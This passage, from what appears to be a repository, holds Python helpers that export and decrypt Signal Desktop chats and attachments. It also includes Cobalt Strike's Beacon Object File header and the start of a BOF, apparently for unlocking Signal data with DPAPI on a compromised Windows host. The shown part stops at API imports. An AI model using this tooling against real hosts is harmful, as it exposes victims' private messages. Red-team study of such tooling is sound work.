"
45 | nav += "
\n"
57 | ht_content += nav
58 | page_num += 1
59 |
60 | sender = msg.sender
61 | date = msg.date.date().isoformat()
62 | time = msg.date.time().replace(microsecond=0).isoformat()
63 |
64 | reactions = " ".join(f"{r.name}: {r.emoji}" for r in msg.reactions)
65 | quote = ""
66 | if msg.quote:
67 | quote = f"
{msg.quote.replace('>', '')}
"
68 |
69 | body = msg.body
70 | try:
71 | body = Markdown().convert(body)
72 | except RecursionError:
73 | log(f"Maximum recursion on message {body}, not converted")
74 |
75 | # links
76 | p = re.compile(r"(https{0,1}://\S*)")
77 | a_template = r"
\1 "
78 | body = re.sub(p, a_template, body)
79 |
80 | soup = BeautifulSoup(body, "html.parser")
81 | # attachments
82 | for att in msg.attachments:
83 | path = att.path
84 | src = f"./{path}"
85 | if models.is_image(path):
86 | temp = templates.figure.format(src=src, alt=att.name)
87 | elif models.is_audio(path):
88 | temp = templates.audio.format(src=src)
89 | elif models.is_video(path):
90 | temp = templates.video.format(src=src)
91 | else:
92 | temp = None
93 | if temp:
94 | soup.append(BeautifulSoup(temp, "html.parser"))
95 |
96 | cl = "msg me" if sender == "Me" else "msg"
97 | ht_content += templates.message.format(
98 | cl=cl,
99 | date=date,
100 | time=time,
101 | sender=sender,
102 | quote=quote,
103 | body=soup,
104 | reactions=reactions,
105 | )
106 | ht_text = templates.html.format(
107 | name=name,
108 | last_page=last_page,
109 | content=ht_content,
110 | )
111 | ht_text = BeautifulSoup(ht_text, "html.parser").prettify()
112 | ht_text = re.compile(r"^(\s*)", re.MULTILINE).sub(r"\1\1\1\1", ht_text)
113 | return ht_text
--------------------------------------------------------------------------------
/helpers/models.py:
--------------------------------------------------------------------------------
1 | from __future__ import annotations
2 |
3 | import json
4 | import re
5 | from collections import namedtuple
6 | from dataclasses import asdict, dataclass
7 | from datetime import datetime
8 | from typing import Any
9 |
10 |
11 | @dataclass
12 | class RawMessage:
13 | conversation_id: str
14 | id: str
15 |
16 | body: str
17 | type: str | None
18 | contact: str | None
19 | source: Any | None
20 |
21 | timestamp: int | None
22 | sent_at: int | None
23 | server_timestamp: int | None
24 |
25 | has_attachments: bool
26 | attachments: list[dict[str, str]]
27 |
28 | read_status: bool | None
29 | seen_status: bool | None
30 |
31 | call_history: dict[str, Any] | None
32 | reactions: list[dict[str, Any]]
33 | sticker: dict[str, Any] | None
34 | quote: dict[str, Any] | None
35 |
36 | def get_ts(self: RawMessage) -> int:
37 | if self.sent_at and self.server_timestamp:
38 | if self.server_timestamp < self.sent_at:
39 | return self.server_timestamp
40 | else:
41 | return self.sent_at
42 | elif self.sent_at:
43 | return self.sent_at
44 | elif self.timestamp:
45 | return self.timestamp
46 | return 0
47 |
48 |
49 | @dataclass
50 | class Contact:
51 | id: str
52 | serviceId: str
53 | name: str
54 | number: str
55 | profile_name: str
56 | is_group: bool
57 | members: list[str] | None
58 |
59 |
60 | Contacts = dict[str, Contact]
61 | Convos = dict[str, list[RawMessage]]
62 |
63 | Reaction = namedtuple("Reaction", ["name", "emoji"])
64 |
65 |
66 | def is_image(p: str) -> bool:
67 | suffix = p.split(".")
68 | return len(suffix) > 1 and suffix[-1] in [
69 | "png",
70 | "jpg",
71 | "jpeg",
72 | "gif",
73 | "tif",
74 | "tiff",
75 | ]
76 |
77 |
78 | def is_audio(p: str) -> bool:
79 | suffix = p.split(".")
80 | return len(suffix) > 1 and suffix[-1] in [
81 | "m4a",
82 | "aac",
83 | ]
84 |
85 |
86 | def is_video(p: str) -> bool:
87 | suffix = p.split(".")
88 | return len(suffix) > 1 and suffix[-1] in [
89 | "mp4",
90 | ]
91 |
92 |
93 | @dataclass
94 | class Attachment:
95 | name: str
96 | path: str
97 |
98 |
99 | @dataclass
100 | class Message:
101 | date: datetime
102 | sender: str
103 | body: str
104 | quote: str
105 | sticker: str
106 | reactions: list[Reaction]
107 | attachments: list[Attachment]
108 |
109 | def to_md(self: Message) -> str:
110 | date_str = self.date.strftime("%Y-%m-%d %H:%M:%S")
111 | body = self.body
112 |
113 | if len(self.reactions) > 0:
114 | reactions = [f"{r.name}: {r.emoji}" for r in self.reactions]
115 | body = body + "\n(- " + ", ".join(reactions) + " -)"
116 |
117 | if len(self.sticker) > 0:
118 | body = body + "\n(( " + self.sticker + " ))"
119 |
120 | for att in self.attachments:
121 | if is_image(att.path):
122 | body += "!"
123 | body += f"[{att.name}](./{att.path}) "
124 |
125 | return f"[{date_str}] {self.sender}: {self.quote}{body}\n"
126 |
127 | def comp(self: Message) -> tuple[datetime, str, str]:
128 | date = self.date.replace(second=0, microsecond=0)
129 | return (date, self.sender, self.body.replace("\n", "").replace(">", "").strip())
130 |
131 | def dict(self: Message) -> dict:
132 | msg_dict = asdict(self)
133 | msg_dict["date"] = msg_dict["date"].isoformat()
134 | return msg_dict
135 |
136 | def dict_str(self: Message) -> str:
137 | return json.dumps(self.dict(), ensure_ascii=False)
138 |
139 |
140 | Chats = dict[str, list[Message]]
141 |
142 |
143 | @dataclass
144 | class MergeMessage:
145 | date: datetime
146 | sender: str
147 | body: str
148 |
149 | def to_message(self: MergeMessage) -> Message:
150 | body = self.body
151 |
152 | p_reactions = re.compile(r"\n\(- (.*) -\)")
153 | m_reactions = re.findall(p_reactions, body)
154 | reactions = []
155 | if m_reactions:
156 | for r in m_reactions[0].split(", "):
157 | reac = r.split(":")
158 | if len(reac) < 2:
159 | continue
160 | name, emoji = reac
161 | reactions.append(Reaction(name, emoji))
162 | body = re.sub(p_reactions, "", body)
163 |
164 | p_stickers = r"\n\(\( (.*) \)\)"
165 | stickers = re.findall(p_stickers, self.body)
166 | sticker = stickers[0] if stickers else ""
167 | body = re.sub(p_stickers, "", body)
168 |
169 | p_quote = re.compile(r"\n> (.*)$")
170 | m_quote = re.findall(p_quote, self.body)
171 | quote = ""
172 | if m_quote:
173 | quote = "".join(m_quote)
174 | body = re.sub(p_quote, "", body)
175 |
176 | p_attachments = r"!{0,1}\[(.*?)\]\((.*?)\)"
177 | m_attachments = re.findall(p_attachments, self.body)
178 | attachments = []
179 | if m_attachments:
180 | attachments = [Attachment(name=g[0], path=g[1]) for g in m_attachments]
181 | body = re.sub(p_attachments, "", body)
182 |
183 | body = body.rstrip("\n")
184 |
185 | return Message(
186 | date=self.date,
187 | sender=self.sender,
188 | body=body,
189 | quote=quote,
190 | reactions=reactions,
191 | sticker=sticker,
192 | attachments=attachments,
193 | )
--------------------------------------------------------------------------------
/helpers/files.py:
--------------------------------------------------------------------------------
1 | import base64
2 | import hashlib
3 | import hmac
4 | import shutil
5 | from datetime import datetime
6 | from pathlib import Path
7 |
8 | from Crypto.Cipher import AES
9 | from typer import colors, secho
10 |
11 | from helpers import models
12 | from helpers.logging import log
13 |
14 | CIPHER_KEY_SIZE = 32
15 | IV_SIZE = AES.block_size
16 | MAC_KEY_SIZE = 32
17 | MAC_SIZE = hashlib.sha256().digest_size
18 |
19 |
20 | def decrypt_attachment(att: dict[str, str], src_path: Path, dst_path: Path) -> None:
21 | """Decrypt attachment and save to `dst_path`.
22 |
23 | Code adapted from:
24 | https://github.com/tbvdm/sigtop
25 | from https://github.com/carderne/signal-export
26 | """
27 | try:
28 | keys = base64.b64decode(att["localKey"])
29 | except KeyError:
30 | raise ValueError("No key in attachment")
31 | except Exception as e:
32 | raise ValueError(f"Cannot decode keys: {str(e)}")
33 |
34 | if len(keys) != CIPHER_KEY_SIZE + MAC_KEY_SIZE:
35 | raise ValueError("Invalid keys length")
36 |
37 | cipher_key = keys[:CIPHER_KEY_SIZE]
38 | mac_key = keys[CIPHER_KEY_SIZE:]
39 |
40 | try:
41 | with open(src_path, "rb") as fp:
42 | data = fp.read()
43 | except Exception as e:
44 | raise ValueError(f"Failed to read file: {str(e)}")
45 |
46 | if len(data) < IV_SIZE + MAC_SIZE:
47 | raise ValueError("Attachment data too short")
48 |
49 | iv = data[:IV_SIZE]
50 | their_mac = data[-MAC_SIZE:]
51 | data = data[IV_SIZE:-MAC_SIZE]
52 |
53 | if len(data) % AES.block_size != 0:
54 | raise ValueError("Invalid attachment data length")
55 |
56 | m = hmac.new(mac_key, iv + data, hashlib.sha256)
57 | our_mac = m.digest()
58 |
59 | if not hmac.compare_digest(our_mac, their_mac):
60 | raise ValueError("MAC mismatch")
61 |
62 | try:
63 | cipher = AES.new(cipher_key, AES.MODE_CBC, iv)
64 | decrypted_data = cipher.decrypt(data)
65 | except Exception as e:
66 | raise ValueError(f"Decryption failed: {str(e)}")
67 |
68 | if len(decrypted_data) < int(att["size"]):
69 | raise ValueError("Invalid attachment data length")
70 |
71 | data_decrypted = decrypted_data[: att["size"]]
72 | with open(dst_path, "wb") as fp:
73 | fp.write(data_decrypted)
74 |
75 |
76 | def copy_attachments(
77 | src: Path, dest: Path, convos: models.Convos, contacts: models.Contacts
78 | ) -> None:
79 | """Copy attachments and reorganise in destination directory."""
80 | src_root = Path(src)
81 | dest = Path(dest)
82 |
83 | for key, messages in convos.items():
84 | if messages == []:
85 | continue
86 | name = contacts[key].name
87 | log(f"\tCopying attachments for: {name}")
88 | # some contact names are None
89 | if not name:
90 | name = "None"
91 | dst_root = dest / name / "media"
92 | dst_root.mkdir(exist_ok=True, parents=True)
93 | for msg in messages:
94 | if msg.attachments:
95 | attachments = msg.attachments
96 | date = (
97 | datetime.fromtimestamp(msg.get_ts() / 1000)
98 | .isoformat(timespec="milliseconds")
99 | .replace(":", "-")
100 | )
101 | for i, att in enumerate(attachments):
102 | # Account for no fileName key
103 | file_name = str(att["fileName"]) if "fileName" in att else "None"
104 | # Sometimes the key is there but it is None, needs extension
105 | if "." not in file_name:
106 | content_type = att.get("contentType", "").split("/")
107 | if len(content_type) > 1:
108 | ext = content_type[1]
109 | else:
110 | ext = content_type[0]
111 | file_name += "." + ext
112 | att["fileName"] = (
113 | f"{date}_{i:02}_{file_name}".replace(" ", "_")
114 | .replace("/", "-")
115 | .replace(",", "")
116 | .replace(":", "-")
117 | .replace("|", "-")
118 | )
119 | # account for erroneous backslash in path
120 | try:
121 | att_path = str(att["path"]).replace("\\", "/")
122 | except KeyError:
123 | log(f"\t\tBroken attachment:\t{name}")
124 | continue
125 | src_path = src_root / att_path
126 | dst_path = dst_root / att["fileName"]
127 | if int(att.get("version", 0)) >= 2:
128 | try:
129 | decrypt_attachment(att, src_path, dst_path)
130 | except ValueError as e:
131 | secho(
132 | f"Failed to decrypt {src_path} error {e}, skipping",
133 | fg=colors.MAGENTA,
134 | )
135 | else:
136 | try:
137 | shutil.copy2(src_path, dst_path)
138 | except FileNotFoundError:
139 | secho(
140 | f"No file to copy at {src_path}, skipping!",
141 | fg=colors.MAGENTA,
142 | )
143 | except OSError as exc:
144 | secho(
145 | f"Error copying file {src_path}, skipping!\n{exc}",
146 | fg=colors.MAGENTA,
147 | )
148 | else:
149 | msg.attachments = []
150 |
151 |
152 | def merge_attachments(media_new: Path, media_old: Path) -> None:
153 | """Merge new and old attachments directories."""
154 | for f in media_old.iterdir():
155 | if f.is_file():
156 | try:
157 | shutil.copy2(f, media_new)
158 | except shutil.SameFileError:
159 | log(
160 | f"Skipped file {f} as duplicate found in new export directory!",
161 | fg=colors.RED,
162 | )
--------------------------------------------------------------------------------
/beacon.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Beacon Object Files (BOF)
3 | * -------------------------
4 | * A Beacon Object File is a light-weight post exploitation tool that runs
5 | * with Beacon's inline-execute command.
6 | *
7 | * Additional BOF resources are available here:
8 | * - https://github.com/Cobalt-Strike/bof_template
9 | *
10 | * Cobalt Strike 4.x
11 | * ChangeLog:
12 | * 1/25/2022: updated for 4.5
13 | * 7/18/2023: Added BeaconInformation API for 4.9
14 | * 7/31/2023: Added Key/Value store APIs for 4.9
15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
16 | * 8/31/2023: Added Data store APIs for 4.9
17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9
20 | */
21 |
22 | /* data API */
23 | typedef struct {
24 | char * original; /* the original buffer [so we can free it] */
25 | char * buffer; /* current pointer into our buffer */
26 | int length; /* remaining length of data */
27 | int size; /* total size of this buffer */
28 | } datap;
29 |
30 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
31 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
32 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
33 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
34 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
35 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
36 |
37 | /* format API */
38 | typedef struct {
39 | char * original; /* the original buffer [so we can free it] */
40 | char * buffer; /* current pointer into our buffer */
41 | int length; /* remaining length of data */
42 | int size; /* total size of this buffer */
43 | } formatp;
44 |
45 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
46 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
47 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
48 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
49 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
50 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
51 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
52 |
53 | /* Output Functions */
54 | #define CALLBACK_OUTPUT 0x0
55 | #define CALLBACK_OUTPUT_OEM 0x1e
56 | #define CALLBACK_OUTPUT_UTF8 0x20
57 | #define CALLBACK_ERROR 0x0d
58 |
59 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
60 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
61 |
62 |
63 | /* Token Functions */
64 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
65 | DECLSPEC_IMPORT void BeaconRevertToken();
66 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
67 |
68 | /* Spawn+Inject Functions */
69 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
70 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
71 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
72 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
73 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
74 |
75 | /* Utility Functions */
76 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
77 |
78 | /* Beacon Information */
79 | /*
80 | * ptr - pointer to the base address of the allocated memory.
81 | * size - the number of bytes allocated for the ptr.
82 | */
83 | typedef struct {
84 | char * ptr;
85 | size_t size;
86 | } HEAP_RECORD;
87 | #define MASK_SIZE 13
88 |
89 | /*
90 | * sleep_mask_ptr - pointer to the sleep mask base address
91 | * sleep_mask_text_size - the sleep mask text section size
92 | * sleep_mask_total_size - the sleep mask total memory size
93 | *
94 | * beacon_ptr - pointer to beacon's base address
95 | * The stage.obfuscate flag affects this value when using CS default loader.
96 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
97 | * false: beacon_ptr = allocated_buffer (A valid address)
98 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
99 | * when the 2nd argument is set to DLL_PROCESS_ATTACH.
100 | * sections - list of memory sections beacon wants to mask. These are offset values
101 | * from the beacon_ptr and the start value is aligned on 0x1000 boundary.
102 | * A section is denoted by a pair indicating the start and end offset values.
103 | * The list is terminated by the start and end offset values of 0 and 0.
104 | * heap_records - list of memory addresses on the heap beacon wants to mask.
105 | * The list is terminated by the HEAP_RECORD.ptr set to NULL.
106 | * mask - the mask that beacon randomly generated to apply
107 | */
108 | typedef struct {
109 | char * sleep_mask_ptr;
110 | DWORD sleep_mask_text_size;
111 | DWORD sleep_mask_total_size;
112 |
113 | char * beacon_ptr;
114 | DWORD * sections;
115 | HEAP_RECORD * heap_records;
116 | char mask[MASK_SIZE];
117 | } BEACON_INFO;
118 |
119 | DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info);
120 |
121 | /* Key/Value store functions
122 | * These functions are used to associate a key to a memory address and save
123 | * that information into beacon. These memory addresses can then be
124 | * retrieved in a subsequent execution of a BOF.
125 | *
126 | * key - the key will be converted to a hash which is used to locate the
127 | * memory address.
128 | *
129 | * ptr - a memory address to save.
130 | *
131 | * Considerations:
132 | * - The contents at the memory address is not masked by beacon.
133 | * - The contents at the memory address is not released by beacon.
134 | *
135 | */
136 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
137 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
138 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
139 |
140 | /* Beacon Data Store functions
141 | * These functions are used to access items in Beacon's Data Store.
142 | * BeaconDataStoreGetItem returns NULL if the index does not exist.
143 | *
144 | * The contents are masked by default, and BOFs must unprotect the entry
145 | * before accessing the data buffer. BOFs must also protect the entry
146 | * after the data is not used anymore.
147 | *
148 | */
149 |
150 | #define DATA_STORE_TYPE_EMPTY 0
151 | #define DATA_STORE_TYPE_GENERAL_FILE 1
152 |
153 | typedef struct {
154 | int type;
155 | DWORD64 hash;
156 | BOOL masked;
157 | char* buffer;
158 | size_t length;
159 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
160 |
161 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
162 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
163 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
164 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
165 |
166 | /* Beacon User Data functions */
167 | DECLSPEC_IMPORT char * BeaconGetCustomUserData();
168 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/bof.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include "beacon.h"
6 |
7 |
8 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB*, LPWSTR*, DATA_BLOB*, PVOID, CRYPTPROTECT_PROMPTSTRUCT*, DWORD, DATA_BLOB*);
9 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
10 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(VOID);
11 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
12 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
13 | DECLSPEC_IMPORT WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest, LPCWSTR pszDir, LPCWSTR pszFile);
14 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI SHLWAPI$PathFileExistsW(LPCWSTR pszPath);
15 | DECLSPEC_IMPORT WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrA(LPCSTR lpFirst, LPCSTR lpSrch);
16 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);
17 | DECLSPEC_IMPORT WINBASEAPI void* WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
18 | DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
19 | DECLSPEC_IMPORT WINBASEAPI size_t __cdecl MSVCRT$strlen(const char* _Str);
20 | DECLSPEC_IMPORT WINBASEAPI void* __cdecl MSVCRT$memcpy(void* _Dst, const void* _Src, size_t _MaxCount);
21 | DECLSPEC_IMPORT WINBASEAPI PCHAR __cdecl MSVCRT$strchr(const char* haystack, int needle);
22 | DECLSPEC_IMPORT WINBASEAPI int __cdecl MSVCRT$sprintf(char* __stream, const char* __format, ...);
23 | DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
24 | DECLSPEC_IMPORT WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL);
25 | DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW(LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize);
26 | DECLSPEC_IMPORT WINBASEAPI UINT WINAPI OLEAUT32$SysStringByteLen(BSTR bstr);
27 |
28 |
29 | #define CryptUnprotectData CRYPT32$CryptUnprotectData
30 | #define CreateFileW KERNEL32$CreateFileW
31 | #define GetLastError KERNEL32$GetLastError
32 | #define GetFileSize KERNEL32$GetFileSize
33 | #define ReadFile KERNEL32$ReadFile
34 | #define PathCombineW SHLWAPI$PathCombineW
35 | #define PathFileExistsW SHLWAPI$PathFileExistsW
36 | #define StrStrA SHLWAPI$StrStrA
37 | #define CloseHandle KERNEL32$CloseHandle
38 | #define HeapAlloc KERNEL32$HeapAlloc
